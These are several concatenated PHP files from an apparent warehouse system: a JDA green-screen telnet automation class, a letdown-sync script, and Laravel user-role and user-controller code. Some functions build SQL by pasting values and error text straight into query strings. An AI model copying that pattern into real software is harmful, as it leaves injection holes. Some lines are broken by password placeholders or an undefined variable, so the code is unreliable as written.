* Initiate the JDA objects
* @param string $username jda username
* @param string $password jda <PASSWORD>
* @param string $host the IP address of the JDA server
* @param bool $show_debug specify if the output should show the green screen
*/
public function __construct($show_debug = false, $host, $library)
{
$this->jda = new jdatelnet($host);
$this->show_debug = $show_debug;
$this->library = $library;
}
public function LastErrorReason()
{
return $this->last_error_reason;
}
/**
* login to JDA
*/
public function LoginToJDA()
{
$jdax = $this->jda;
$jdax->login($this->jda_username,$this->jda_password,"<PASSWORD>");
$result = $jdax->screen;
$this->display($result);
if (strpos($result, 'Merchandise Management System') !== false)
{
return true;
}
else
{
return false;
}
}
/**
* login to JDA with tested scenarios
*/
public function LoginToJDA2($username, $password)
{
$jdax = $this->jda;
$this->jda_username = $username;
$this->jda_password = $<PASSWORD>;
$login_result = $this->ExecuteLogin($this->jda_username, $this->jda_password);
$result = $login_result;
$this->display($result);
if (strpos($result, 'Management System') !== false)
{
return true;
}
else
{
if($this->IsWordExists($result, 'is allocated to another job.'))
{
$jdax->write(ENTER,true); $this->display($jdax->screen);
return true;
}
else
{
if($this->IsWordExists($result, 'cannot sign on.'))
{
$this->last_error_reason = 'user cannot sign on (profile disabled)';
}
if($this->IsWordExists($result, 'Next not valid sign-on disables user profile.'))
{
$this->last_error_reason = 'next failed login will disable user profile';
}
return false;
}
}
}
public function ExecuteLogin($username, $password)
{
$jdax = $this->jda;
$jdax->write($username,true); $this->display($jdax->screen);
if(strlen($username) < 10)
{
$jdax->write(TAB,true); $this->display($jdax->screen);
}
$jdax->write($password,true); $this->display($jdax->screen);
$jdax->write(ENTER,true); $this->display($jdax->screen);
return $jdax->screen;
}
/**
* Go to the Item Replenishment Screen
*/
public function GotoItemReplenishment()
{
$jdax = $this->jda;
$jdax->write("12",true); $this->display($jdax->screen);
$jdax->write("02",true); $this->display($jdax->screen);
$jdax->write("17",true); $this->display($jdax->screen);
}
public function EndReplenishment()
{
$jdax = $this->jda;
$jdax->write(F1,true); $this->display($jdax->screen);
}
public function LogOff()
{
$this->jda->write('F1',true); $this->display($this->jda->screen);
$this->jda->write('F7',true); $this->display($this->jda->screen);
}
/**
* Enter the SKU information for replenishment
* NOTE: GotoItemReplenishment must be called before this.
*/
public function ItemReplenishment($sku, $start_date, $replenishment_code, $model_stock, $item_profile = "REPL")
{
$jdax = $this->jda;
//go to item replenishment
$jdax->write(TAB,true);
$jdax->write(TAB,true);
//enter the SKU information. this is where we can enter styles as well
$jdax->write($sku,true); $this->display($this->jda->screen);
$jdax->write(ENTER,true); $this->display($this->jda->screen);
if($this->IsWordExists($jdax->screen,'The SKU is invalid'))
{
$this->last_error_reason = 'The SKU provide is invalid';
$jdax->write(F1,true); $this->display($jdax->screen);
$jdax->write("17",true); $this->display($jdax->screen);
return false;
}
else
{
$jdax->write(END,true); $this->display($this->jda->screen);
$jdax->write(BACKTAB,true); $this->display($jdax->screen);
//INPUT START DATE REPLENISHMENT
$jdax->write($start_date,true);
$jdax->write(TAB.TAB,true);
//echo 'start date';
$this->display($jdax->screen);
//INPUT REPLENISHMENT CODE
$jdax->write($replenishment_code,true);
//echo 'replenishment code';
$this->display($jdax->screen);
//INPUT MODEL STOCK
$jdax->write($model_stock,true);
//echo 'model stock';
$jdax->write(TAB.TAB.TAB.TAB.TAB.TAB,true);
//INPUT ITEM PROFILE
$jdax->write($item_profile,true);
//echo 'replenishment code';
$this->display($jdax->screen);
//F7 TO SAVE
$jdax->write(F7,true);
//echo 'save';
$result = $jdax->screen;
$this->display($result);
$jdax->write(F7,true); $this->display($jdax->screen);
$jdax->write("17",true); $this->display($jdax->screen);
if($this->IsWordExists($result,'Has been placed on the JOBQ'))
{
return true;
}
else
{
$this->last_error_reason = 'Error on JDA enrollment. Please inform your system admin. last screen:'."\n".
$this->displayForLog($result);
return false;
}
}
}
public function GotoMaintainSKU($from_previous)
{
$jdax = $this->jda;
//OPTION 23 - SKU MODEL STOCK OVERRIDES
if($from_previous)
{
$jdax->write("23",true); $this->display($jdax->screen);
}
else
{
$jdax->write("12",true); $this->display($jdax->screen);
$jdax->write("02",true); $this->display($jdax->screen);
$jdax->write("23",true); $this->display($jdax->screen);
}
}
/**
* Maintain SKU information
*/
public function MaintainSKU($sku, $store_code, $avg_model_stock, $order_at, $maximum_stock, $display_min)
{
$jdax = $this->jda;
//INPUT SKU
$jdax->write($sku,true); $jdax->write(TAB,true);
$result = $this->display($jdax->screen);
if($this->IsWordExists($result, 'SKU is invalid'))
{
$this->last_error_reason = 'The SKU provide is invalid';
return false;
}
else
{
//TO CLEAR THE STORE
$jdax->write(END,true); $this->display($jdax->screen); //screen 5 displays the item info
//INPUT STORE
$jdax->write($store_code,true); $jdax->write(ENTER,true);
$result = $jdax->screen; //006 displays store info
$this->display($result);
if($this->IsWordExists($result,'Store is invalid'))
{
$this->last_error_reason = "Store is invalid";
return false;
}
else
{
//PRESS 2 TABS
$jdax->write(TAB,true); $jdax->write(TAB,true); $this->display($jdax->screen);
//INPUT QTY
$jdax->write(END,true);
$jdax->write(BACKTAB,true);
$jdax->write($avg_model_stock,true);
$this->display($jdax->screen);
//INPUT QTY FOR ORDER AT
$jdax->write(END,true);
$jdax->write($order_at,true);
$this->display($jdax->screen);
//INPUT QTY MAXIMUM STOCK
$jdax->write(END,true);
$jdax->write($maximum_stock,true);
$this->display($jdax->screen);
//INPUT QTY DISPLAY MIN
$jdax->write(END,true);
$jdax->write($display_min,true);
$jdax->write(END,true);
$this->display($jdax->screen);
//Save
$jdax->write(DOWN,true); $this->display($jdax->screen);
$jdax->write(ENTER,true); $this->display($jdax->screen);
$jdax->write(F7,true); $this->display($jdax->screen);
$jdax->write(F7,true); $this->display($jdax->screen);
$result_prior = $jdax->screen;
$jdax->write(F1,true);
$result = $jdax->screen;
$this->display($result);
if($this->IsWordExists($result,"Has been placed on the JOBQ."))
{
$jdax->write(ENTER,true); $this->display($jdax->screen);
//echo 'final screen';
$jdax->write("23",true); $this->display($jdax->screen);
return true;
}
else
{
//echo 'else final screen';
/*
if($this->IsWordExists($result,"Not On Replenishment"))
{
$this->display($jdax->screen);
}*/
$jdax->write("23",true); $this->display($jdax->screen);
if($this->IsWordExists($result_prior,"Store is not on replenishment."))
{
return true;
}
else
{
$this->last_error_reason = 'Error on JDA maintenance. Please inform your system admin.'."\n".
$this->displayForLog($result_prior)."\n".
$this->displayForLog($result);
return false;
}
}
/*
if($this->IsWordExists($result,"AVG ORDER AT quantity cannot exceed AVG MODEL STOCK"))
{
$this->display($jdax->screen);
$this->last_error_reason = " AVG ORDER AT quantity cannot exceed AVG MODEL STOCK";
return false;
}*/
}
}
}
/*
* Use for displaying the jda screen
*/
function display($screen,$width=80){
if($this->show_debug)
{
global $scrCounter;
$scrCounter++;
printf("%04d",$scrCounter);
for($i = 4; $i<$width; $i++){
echo "-";
}
echo "\n";
print_r(chunk_split($screen,$width));
for($i = 0; $i<$width; $i++){
echo "-";
}
echo "\n";
}
}
function displayForLog($screen,$width=80){
global $scrCounter;
$scrCounter++;
printf("%04d",$scrCounter);
for($i = 4; $i<$width; $i++){
echo "-";
}
echo "\n";
print_r(chunk_split($screen,$width));
for($i = 0; $i<$width; $i++){
echo "-";
}
echo "\n";
}
function retreat($times = 2,$marker="MENTB4"){
global $jda;
$i = 0;
while($i++ < $times && !$jda->screenWait($marker,1)){
$jda->write(null,F1,true);
display($jda->screen,80);
echo "pressed F1 to return";
}
}
function set_timer($label){
global $timers,$last_time,$start_time;
$now_time = microtime(true);
$interval = $now_time - $last_time;
$elapsed = $now_time - $start_time;
$last_time = $now_time;
$timer = array("label"=>$label,"now" =>$now_time,"interval"=>$interval, "elapsed"=>$elapsed);
$timers[] = $timer;
return $timer;
}
/*
* Check if a word exist in the green screen. Used for validation
*/
function IsWordExists($result, $string_to_check)
{
if (strpos($result, $string_to_check) !== false)
{
return true;
}
else
{
return false;
}
}
}
?><file_sep><?php
include_once(__DIR__.'/../core/jda5250_helper.php');
include_once(__DIR__.'/../sql/mysql.php');
class letdown extends jdaCustomClass
{
private static $formMsg = "";
public static $user = 'SYS';
public static $warehouseNo = "9005 ";
public static $fromSlot = "RZ000001";
/*
13
18
19
enter location: 9005
TAB: Enter document_number -> 246
TAB: Enter warehoue clerk -> SYS
F6
PER ITEM: Enter quantity_moved (loop)
F7
F7 (return to enter/approve letdown qunatites screen) //if(success) Document {doc_no} accepted
F10 (submit and return)
ENTER
The completion time cannot be before the assign time
if error +1 in date completed
NOTE: per sequence no ASCENDING order
*/
public function __construct() {
// parent::__construct();
parent::login();
}
private static function enterLetdownMenu()
{
parent::$jda->screenWait("Letdown Menu");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("18",22,44)),ENTER,true);
echo "Entered: Letdown Menu \n";
}
public function enterEnterApproveLetdowns()
{
parent::$jda->screenWait("Enter and Approve Letdowns");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("19",22,44)),ENTER,true);
echo "Entered: Enter and Approve Letdowns \n";
}
public function enterApprovedLetdownQuantitiesForm()
{
parent::$jda->screenWait("Date completed");
parent::display(parent::$jda->screen,132);
}
public function enterForm($data)
{
$document_number = $data['document_number'];
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%5s", self::$warehouseNo), 5, 25); //enter location
$formValues[] = array(sprintf("%6d", $document_number), 9, 25);// enter document no.
$formValues[] = array(self::$user, 11, 25);// enter warehouse clerk
parent::$jda->write5250($formValues,F6,true);
#special case when the completed date is less than todays date
if(parent::$jda->screenCheck('The completion time cannot be before the assign time')) {
parent::logError("The completion time cannot be before the assign time", __METHOD__);
$date_now = date('n/d/y');
$formValues[] = array(sprintf("%8s", $date_now), 16, 25);// enter date completed
parent::$jda->write5250($formValues,F6,true);
}
return self::checkResponse($data,__METHOD__);
}
private static function checkResponse($data,$source)
{
# error
if(parent::$jda->screenCheck('Location entered is invalid')) {
$receiver_message='Location entered is invalid';
self::$formMsg = "{self::$warehouseNo}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Move document does not exist')) {
$receiver_message='Move document does not exist';
self::$formMsg = "{$data['document_number']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Status code of move transaction is not "open"')) {
$receiver_message="Status code of move transaction is not 'open'";
self::$formMsg = "{$data['document_number']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Warehouse clerk is invalid for this location')) {
$receiver_message="Warehouse clerk is invalid for this location";
self::$formMsg = "{self::$user}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('quantity greater than requested')) {
$receiver_message="F5 to accept quantity greater than requested";
self::$formMsg = "{$data['document_number']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Use of decimals incorrect or too many numbers entered')) {
$receiver_message="Use of decimals incorrect or too many numbers entered";
self::$formMsg = "{$data['document_number']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
return false;
}
#end error
#success
if(parent::$jda->screenCheck("Document {$data['document_number']} accepted.")) {
self::$formMsg = "Document {$data['document_number']} accepted";
self::enterSubmit();
}
echo self::$formMsg;
return true;
}
public function enterUpdateDetail()
{
parent::$jda->screenWait("Start at Seq No");
parent::display(parent::$jda->screen,132);
echo "Entered: Update Detail \n";
}
public function enterFormDetails($data)
{
$qtyMoved = self::getQtyMoved($data['document_number']);
$column = 9;
$row = 37;
// $qtyMoved = array(1);
$formValues = array();
//coordinates start on 37/9
for ($i=0; $i < count($qtyMoved); $i++) {
$new_col = ($i + $column);
echo "\n value of new_col is: {$new_col} \n";
echo "value of quantity moved is: {$qtyMoved[$i]} \n";
$formValues[] = array(sprintf("%10d", $qtyMoved[$i]),$new_col,$row); //enter moved_qty
}
parent::$jda->write5250($formValues,F7,true);
echo "Entered: Enter and Approve Letdowns Details \n";
return self::checkResponse($data,__METHOD__);
}
public function submit($data)
{
self::enterUpdateDetailAgain($data);
self::enterJobQueue($data);
}
private static function enterUpdateDetailAgain($data)
{
parent::$jda->screenWait("CENTRAL WAREHOUSE");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(NULL,F7,true);
echo "Entered: Update Detail Again \n";
self::checkResponse($data,__METHOD__);
}
private static function enterSubmit()
{
parent::$jda->screenWait("Enter Submit and Return");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(NULL,F10,true);
echo "Entered: Submit and Return \n";
}
private static function enterJobQueue($data)
{
parent::$jda->screenWait("Submitted Job Name");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(NULL,ENTER,true);
echo "Entered: Job Queue \n";
parent::display(parent::$jda->screen,132);
self::updateSyncStatus($data['document_number']);
}
/*public function getDocumentNo()
{
$db = new pdoConnection();
echo "\n Getting receiver no from db \n";
$sql = "SELECT reference
FROM wms_transactions_to_jda
WHERE module = 'Letdown' AND jda_action='Closing' AND sync_status = 0";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value['reference'];
}
$db->close();
return $result;
}*/
/*
* Get quantity moved per letdown document number
*/
private static function getQtyMoved($document_number)
{
$db = new pdoConnection();
echo "\n Getting quantity delivered from db \n";
$sql = "SELECT moved_qty FROM wms_letdown_details WHERE move_doc_number = {$document_number}
ORDER BY sequence_no ASC";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value['moved_qty'];
}
$db->close();
return $result;
}
/*
* Update ewms trasaction_to_jda sync_status
*/
private static function updateSyncStatus($reference,$error_message=null, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Getting receiver no from db \n";
$sql = "UPDATE wms_transactions_to_jda
SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}', error_message = '{$error_message}'
WHERE sync_status = 0 AND module = 'Letdown' AND jda_action='Closing' AND reference = {$reference}";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}
/*
* On done only via android
*/
public function enterUpToLetdownMenu()
{
try {
$title = "Letdown \n";
echo $title;
parent::checkRecoverJob();
parent::checkJobOnProgress();
parent::enterDistributionManagement();
self::enterLetdownMenu();
} catch (Exception $e) {
//send fail status
echo 'Error: '. $e->getMessage();
}
}
public function logout()
{
parent::logout();
}
}
$db = new pdoConnection(); //open db connection
$jdaParams = array();
$jdaParams = array('module' => 'Letdown', 'jda_action' => 'Closing');
if($argv[1]) $jdaParams['reference'] = $argv[1];// for manual sync. Get the exec parameter
$document_nos = $db->getJdaTransaction($jdaParams);
$db->close(); //close db connection
print_r($document_nos);
if(! empty($document_nos) )
{
$letdown = new letdown();
$letdown->enterUpToLetdownMenu();
$params = array();
foreach($document_nos as $document_no)
{
$letdown->enterEnterApproveLetdowns();
$params = array('document_number' => $document_no);
$letdown->enterApprovedLetdownQuantitiesForm();
$validate = $letdown->enterForm($params);
// var_dump($validate);
if($validate)
{
$letdown->enterUpdateDetail();
$validateDetail = $letdown->enterFormDetails($params);
// var_dump($validateDetail);
if($validateDetail) $letdown->submit($params);
}
}
$letdown->logout();
}
else {
echo " \n No rows found!. \n";
}
/*$letdown = new letdown();
$letdown->enterUpToLetdownMenu();
$document_nos = $letdown->getDocumentNo();
print_r($document_nos);
if(! empty($document_nos) )
{
$params = array();
foreach($document_nos as $document_no) {
$letdown->enterEnterApproveLetdowns();
$params = array('document_number' => $document_no);
$letdown->enterApprovedLetdownQuantitiesForm();
$validate = $letdown->enterForm($params);
var_dump($validate);
if($validate)
{
$letdown->enterUpdateDetail();
$validateDetail = $letdown->enterFormDetails($params);
var_dump($validateDetail);
if($validateDetail) $letdown->submit($params);
}
}
}
$letdown->logout();*/<file_sep><?php
class UserRoles extends Eloquent {
protected $table = 'user_roles';
public static function addUserRole($data = array()) {
DB::table('user_roles')->insert($data);
}
public static function updateUserRole($id, $data = array()) {
$query = DB::table('user_roles')->where('id', '=', $id);
$query->update($data);
}
public static function deleteUserRole($data = array()) {
foreach ($data as $item) {
$query = DB::table('user_roles')->where('id', '=', $item);
$query->update(array('deleted_at' => date('Y-m-d H:i:s')));
}
}
public static function getUserRoles($data = array()) {
$query = DB::table('user_roles')->where('role_name', '!=', 'superadmin')
->where(function($query_sub)
{
$query_sub->where('deleted_at', '=', '0000-00-00 00:00:00')
->orWhere('deleted_at', '=', NULL);
});
if( CommonHelper::hasValue($data['filter_role_name']) ) $query->where('role_name', 'LIKE', '%'.$data['filter_role_name'].'%');
$query->orderBy($data['sort'], $data['order']);
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
return $result;
}
public static function getCountUserRoles($data = array()) {
$query = DB::table('user_roles')->where('role_name', '!=', 'superadmin')
->where(function($query_sub)
{
$query_sub->where('deleted_at', '=', '0000-00-00 00:00:00')
->orWhere('deleted_at', '=', NULL);
});
if( CommonHelper::hasValue($data['filter_role_name']) ) $query->where('role_name', 'LIKE', '%'.$data['filter_role_name'].'%');
return $query->count();
}
public static function getUserRolesOptions() {
$query = DB::table('user_roles')->where('role_name', '!=', 'superadmin')
->where(function($query_sub)
{
$query_sub->where('deleted_at', '=', '0000-00-00 00:00:00')
->orWhere('deleted_at', '=', NULL);
})
->orderBy('role_name', 'ASC');
$result = $query->get();
return $result;
}
}<file_sep><?php
chdir(dirname(__FILE__));
include_once('db2_cron_class.php');
$db2 = new cronDB2();
$db2->storeOrder(); sleep(10);
$db2->storeOrderDetails(); sleep(10);
/*$db2->letdown(); sleep(10);
$db2->letdownDetail(); sleep(10);*/
$db2->picking(); sleep(10);
$db2->pickingDetail(); sleep(10);
$db2->close();
<file_sep><?php
class UsersController extends BaseController {
private $data = array();
protected $layout = "layouts.main";
protected $apiUrl;
protected $allowedUserRoles = array('1', '2', '5');
public function __construct() {
date_default_timezone_set('Asia/Manila');
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only'=> array('Dashboard')));
$this->apiUrl = Config::get('constant.api_url');
}
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessUsers', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
public function getLogin() {
$this->data['heading_title_login'] = Lang::get('users.heading_title_login');
$this->data['heading_subtitle_login'] = Lang::get('users.heading_subtitle_login');
$this->data['entry_username'] = Lang::get('users.entry_username');
$this->data['entry_password'] = Lang::get('users.entry_password');
$this->data['button_signin'] = Lang::get('general.button_signin');
$this->layout->content = View::make('users.login', $this->data);
}
public function validateUser(){
$username = $request->get('username');
$password = $request->get('password');
if($username == '' && $password == '') {
return response()->json([
"message" => "Fields are all required",
"error" => true],405);
}
if (Auth::attempt(array('username' => $username, 'password' => $password)))
{
if(in_array(Auth::user()->role_id, array(0))) {
return response()->json(['message' => 'Account not allowed'], 405);
}
$user_detail = array('id' => Auth::user()->id,
'username' => Auth::user()->username,
'firstname' => Auth::user()->firstname,
'lastname' => Auth::user()->lastname,
'location' => Auth::user()->location);
return response()->json([
'message' => 'Successfully login!',
'result' => $user_detail
],200);
}
else
{
return response()->json([
'message' => 'Invalid credentials.Please try again',
'error' => true
], 404);
}
}
public function postSignin() {
$username = Input::get('username');
$password = Input::get('password');
if (Auth::attempt(array('username'=>$username, 'password'=>$password)))
{
$userRole = UserRoles::find(Auth::user()->role_id);
$userRoleId = Auth::user()->role_id;
// if(!in_array(Auth::user()->role_id, $this->allowedUserRoles) || $userRole->deleted_at > '0000-00-00 00:00:00' || Auth::user()->deleted_at > '0000-00-00 00:00:00')
if ($userRole->deleted_at > '0000-00-00 00:00:00' || Auth::user()->deleted_at > '0000-00-00 00:00:00')
{
Auth::logout();
return Redirect::to('users/login')
->with('message', Lang::get('users.error_login_stock_piler'))
->withInput();
}
else {
Session::put('permissions', serialize(json_decode($userRole->permissions)));
return Redirect::to('/')->with('success', Lang::get('users.text_success_login'));
}
}
return Redirect::to('users/login')
->with('message', Lang::get('users.error_login'))
->withInput();
}
public function getLogout() {
Auth::logout();
Session::forget('permissions');
return Redirect::to('/')->with('message', Lang::get('users.text_success_logout'));
}
public function updateProfileForm() {
$this->data['heading_title_profile'] = Lang::get('users.heading_title_profile');
$this->data['entry_username'] = Lang::get('users.entry_username');
$this->data['entry_barcode'] = Lang::get('users.entry_barcode');
$this->data['entry_firstname'] = Lang::get('users.entry_firstname');
$this->data['entry_lastname'] = Lang::get('users.entry_lastname');
$this->data['entry_user_role'] = Lang::get('users.entry_user_role');
$this->data['entry_brand'] = Lang::get('users.entry_brand');
$this->data['button_submit'] = Lang::get('general.button_submit');
// Options
$user_roles = array('' => Lang::get('general.text_select'));
foreach (UserRoles::getUserRolesOptions() as $item) {
$user_roles[$item->id] = $item->role_name;
}
$this->data['user_role_options'] = $user_roles;
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Data
$this->data['user'] = User::find(Auth::user()->id);
$this->layout->content = View::make('users.profile', $this->data);
}
public function updateProfilePasswordForm() {
$this->data['heading_title_password'] = Lang::get('users.heading_title_password');
$this->data['entry_password'] = Lang::get('users.entry_password');
$this->data['entry_confirm_password'] = Lang::get('users.entry_confirm_password');
$this->data['button_submit'] = Lang::get('general.button_submit');
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Data
$this->data['user'] = User::find(Auth::user()->id);
$this->layout->content = View::make('users.change_password', $this->data);
}
/*public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportUsers', unserialize(Session::get('permissions')))) {
return Redirect::to('user' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$arrParams = array(
'filter_username' => Input::get('filter_username', NULL),
'filter_barcode' => Input::get('filter_barcode', NULL),
'filter_user_role' => Input::get('filter_user_role', NULL),
'sort' => Input::get('sort', 'username'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = User::getUsers($arrParams);
$output = Lang::get('users.col_username') . ',';
$output .= Lang::get('users.col_barcode') . ',';
$output .= Lang::get('users.col_name') . ',';
$output .= Lang::get('users.col_user_role') . ',';
// $output .= Lang::get('users.col_brand') . ',';
$output .= Lang::get('users.col_date') . "\n";
foreach ($results as $value) {
$exportData = array(
'"' . $value->username . '"',
'"' . $value->barcode . '"',
'"' . $value->name . '"',
'"' . $value->role_name . '"',
// '"' . $value->brand_name . '"',
'"' . date('M d, Y', strtotime($value->created_at)) . '"'
);
$output .= implode(",", $exportData);
$output .= "\n";
}
$headers = array(
'Content-Type' => 'text/csv',
'Content-Disposition' => 'attachment; filename="users_' . date('Ymd') . '_' . time() . '.csv"',
);
return Response::make(rtrim($output, "\n"), 200, $headers);
}*/
public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportUsers', unserialize(Session::get('permissions')))) {
return Redirect::to('user' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$this->data['col_username'] = Lang::get('users.col_username');
$this->data['col_barcode'] = Lang::get('users.col_barcode');
$this->data['col_name'] = Lang::get('users.col_name');
$this->data['col_user_role'] = Lang::get('users.col_user_role');
$this->data['col_brand'] = Lang::get('users.col_brand');
$this->data['col_date'] = Lang::get('users.col_date');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'filter_username' => Input::get('filter_username', NULL),
'filter_barcode' => Input::get('filter_barcode', NULL),
'filter_user_role' => Input::get('filter_user_role', NULL),
'sort' => Input::get('sort', 'username'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = User::getUsers($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('users.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('users_' . date('Ymd') . '.pdf');
}
public function insertDataForm() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanInsertUsers', unserialize(Session::get('permissions')))) {
return Redirect::to('user' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$this->data['heading_title_insert'] = Lang::get('users.heading_title_insert');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['entry_username'] = Lang::get('users.entry_username');
$this->data['entry_password'] = Lang::get('users.entry_password');
$this->data['entry_confirm_password'] = Lang::get('users.entry_confirm_password');
$this->data['entry_barcode'] = Lang::get('users.entry_barcode');
$this->data['entry_firstname'] = Lang::get('users.entry_firstname');
$this->data['entry_lastname'] = Lang::get('users.entry_lastname');
$this->data['entry_user_role'] = Lang::get('users.entry_user_role');
$this->data['entry_brand'] = Lang::get('users.entry_brand');
$this->data['button_submit'] = Lang::get('general.button_submit');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
$this->data['stores'] = Store::lists( 'store_name', 'store_code');
// URL
$this->data['url_cancel'] = URL::to('user' . $this->setURL());
// Search Filters
$this->data['filter_username'] = Input::get('filter_username');
$this->data['filter_barcode'] = Input::get('filter_barcode');
$this->data['filter_user_role'] = Input::get('filter_user_role');
$this->data['filter_store'] = Input::get('filter_store');
$this->data['sort'] = Input::get('sort', 'username');
$this->data['order'] = Input::get('order', 'ASC');
// Options
$user_roles = array('' => Lang::get('general.text_select'));
foreach (UserRoles::getUserRolesOptions() as $item) {
$user_roles[$item->id] = $item->role_name;
}
$this->data['user_role_options'] = $user_roles;
$this->layout->content = View::make('users.insert', $this->data);
}
public function insertData() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanInsertUsers', unserialize(Session::get('permissions')))) {
return Redirect::to('user' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$rules = array(
'username' => 'required|unique:users,username,NULL,id,deleted_at,0000-00-00 00:00:00',
'password' => '<PASSWORD>',
'password_confirmation' => '<PASSWORD>',
'firstname' => 'required|min:2',
'lastname' => 'required|min:2',/*
'barcode' => 'unique:users,barcode,NULL,id,deleted_at,0000-00-00 00:00:00',*/
'role_id' => 'required',
'filter_store' => 'required'
);
$validator = Validator::make(Input::all(), $rules);
if ($validator->fails()) {
return Redirect::to('user/insert' . $this->setURL())
->withErrors($validator)
->withInput();
} else {
$arrParams = array(
'username' => Input::get('username'),
'password' => <PASSWORD>(Input::get('password')),
'firstname' => Input::get('firstname'),
'lastname' => Input::get('lastname'),
/*'barcode' => ( Input::get('role_id') == 2 ) ? '' : Input::get('barcode'), //if admin no barcode must empty*/
'role_id' => Input::get('role_id'),
'store_code' => Input::get('filter_store'),
'deleted_at' => '0000-00-00 00:00:00',
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
User::addUser($arrParams);
// AuditTrail
$role = UserRoles::find(Input::get('role_id'));
$data_before = '';
$data_after = 'Username: ' . Input::get('username') . '<br />' .
'First Name: ' . Input::get('firstname') . '<br />' .
'Last Name: ' . Input::get('lastname') . '<br />' .
'Role: ' . $role->role_name;
$arrParams = array(
'module' => 'Users',
'action' => 'Added New User',
'reference' => Input::get('username'),
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
return Redirect::to('user'. $this->setURL())->with('success', Lang::get('users.text_success_insert'));
}
}
public function updateDataForm() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanUpdateUsers', unserialize(Session::get('permissions'))) || Input::get('id')=='1' || User::find(Input::get('id'))==NULL) {
return Redirect::to('user' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$this->data['heading_title_update'] = Lang::get('users.heading_title_update');
$this->data['entry_username'] = Lang::get('users.entry_username');
$this->data['entry_barcode'] = Lang::get('users.entry_barcode');
$this->data['entry_firstname'] = Lang::get('users.entry_firstname');
$this->data['entry_lastname'] = Lang::get('users.entry_lastname');
$this->data['entry_user_role'] = Lang::get('users.entry_user_role');
$this->data['entry_brand'] = Lang::get('users.entry_brand');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_submit'] = Lang::get('general.button_submit');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
// URL
$this->data['url_cancel'] = URL::to('user' . $this->setURL());
$this->data['stores'] = Store::lists( 'store_name', 'store_code');
// Search Filters
$this->data['filter_username'] = Input::get('filter_username');
$this->data['filter_user_role'] = Input::get('filter_user_role');
$this->data['filter_store'] = Input::get('filter_store');
$this->data['sort'] = Input::get('sort', 'username');
$this->data['order'] = Input::get('order', 'ASC');
// Options
$user_roles = array('' => Lang::get('general.text_select'));
foreach (UserRoles::getUserRolesOptions() as $item) {
$user_roles[$item->id] = $item->role_name;
}
$this->data['user_role_options'] = $user_roles;
// Data
$this->data['user'] = User::find(Input::get('id'));
$this->layout->content = View::make('users.update', $this->data);
}
public function updateData() {
// Check Permissions
if (Session::has('permissions')) {
if ((!in_array('CanUpdateUsers', unserialize(Session::get('permissions'))) || Input::get('id')=='1' || User::find(Input::get('id'))==NULL) && Input::get('mode') == 'user') {
return Redirect::to('user' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
// echo "<pre>"; print_r(Input::all()); die();
